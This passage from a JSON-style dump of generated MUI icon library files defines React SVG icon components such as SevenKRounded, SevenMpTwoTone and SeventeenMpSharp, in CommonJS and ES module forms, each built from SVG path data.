    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.95 15h-.19c-.5 0-.86-.49-.72-.97l1.08-3.53H7.25c-.41 0-.75-.34-.75-.75S6.84 9 7.25 9H10c.67 0 1.15.65.96 1.29l-1.3 4.18c-.09.32-.38.53-.71.53m7.64 0c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'SevenKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.95 15h-.19c-.5 0-.86-.49-.72-.97l1.08-3.53H7.25c-.41 0-.75-.34-.75-.75S6.84 9 7.25 9H10c.67 0 1.15.65.96 1.29l-1.3 4.18c-.09.32-.38.53-.71.53m7.64 0c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'SevenKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM9.5 15H7.75l1.38-4.5H6.5V9h4.86zm8.5 0h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SevenKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM9.5 15H7.75l1.38-4.5H6.5V9h4.86zm8.5 0h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SevenKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zM6.5 9H10c.67 0 1.15.65.96 1.29L9.5 15H7.75l1.38-4.5H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.75 15H9.5l1.46-4.71C11.15 9.65 10.67 9 10 9H6.5v1.5h2.63zm6.75-2.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'SevenKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zM6.5 9H10c.67 0 1.15.65.96 1.29L9.5 15H7.75l1.38-4.5H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.75 15H9.5l1.46-4.71C11.15 9.65 10.67 9 10 9H6.5v1.5h2.63zm6.75-2.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'SevenKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-2.5-7h-1.75L12.62 7H10V5.5h3.5c.67 0 1.15.65.96 1.29zm2.5 2.5H17v1.5h-1.5z\"\n}), 'SevenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-2.5-7h-1.75L12.62 7H10V5.5h3.5c.67 0 1.15.65.96 1.29zm2.5 2.5H17v1.5h-1.5z\"\n}), 'SevenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.25 11.5H13l1.46-4.71c.19-.64-.29-1.29-.96-1.29H10V7h2.62z\"\n}, \"2\")], 'SevenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.25 11.5H13l1.46-4.71c.19-.64-.29-1.29-.96-1.29H10V7h2.62z\"\n}, \"2\")], 'SevenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6.5 14.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm-.12-6.25c-.56 0-.97-.54-.8-1.08L12.62 7h-1.87c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.67 0 1.15.65.96 1.29l-1.28 4.12c-.11.35-.43.59-.8.59M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'SevenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6.5 14.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm-.12-6.25c-.56 0-.97-.54-.8-1.08L12.62 7h-1.87c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.67 0 1.15.65.96 1.29l-1.28 4.12c-.11.35-.43.59-.8.59M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'SevenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9.5 15.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm-1.25-7L12.62 7H10V5.5h4.87l-1.87 6zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'SevenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9.5 15.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm-1.25-7L12.62 7H10V5.5h4.87l-1.87 6zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'SevenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8-8h3.5c.67 0 1.15.65.96 1.29L13 11.5h-1.75L12.62 7H10zm-4 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.25 11.5H13l1.46-4.71c.19-.64-.29-1.29-.96-1.29H10V7h2.62z\"\n}, \"4\")], 'SevenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8-8h3.5c.67 0 1.15.65.96 1.29L13 11.5h-1.75L12.62 7H10zm-4 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.25 11.5H13l1.46-4.71c.19-.64-.29-1.29-.96-1.29H10V7h2.62z\"\n}, \"4\")], 'SevenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm5 6h-1.75L14.62 7H12V5.5h3.5c.67 0 1.15.65.96 1.29zm.5 2.5H17v1.5h-1.5z\"\n}), 'SeventeenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm5 6h-1.75L14.62 7H12V5.5h3.5c.67 0 1.15.65.96 1.29zm.5 2.5H17v1.5h-1.5z\"\n}), 'SeventeenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.75 0H15l1.46-4.71c.19-.64-.29-1.29-.96-1.29H12V7h2.62z\"\n}, \"2\")], 'SeventeenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.75 0H15l1.46-4.71c.19-.64-.29-1.29-.96-1.29H12V7h2.62z\"\n}, \"2\")], 'SeventeenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 6.25c0-.41.34-.75.75-.75h2.75c.67 0 1.15.65.96 1.29l-1.28 4.12c-.11.35-.43.59-.8.59-.56 0-.97-.54-.8-1.08L14.62 7h-1.87c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'SeventeenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 6.25c0-.41.34-.75.75-.75h2.75c.67 0 1.15.65.96 1.29l-1.28 4.12c-.11.35-.43.59-.8.59-.56 0-.97-.54-.8-1.08L14.62 7h-1.87c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'SeventeenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm4 2.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM12 7V5.5h4.87l-1.87 6h-1.75L14.62 7zm6 10h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'SeventeenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm4 2.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM12 7V5.5h4.87l-1.87 6h-1.75L14.62 7zm6 10h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'SeventeenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-8h3.5c.67 0 1.15.65.96 1.29L15 11.5h-1.75L14.62 7H12zm-5 0h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 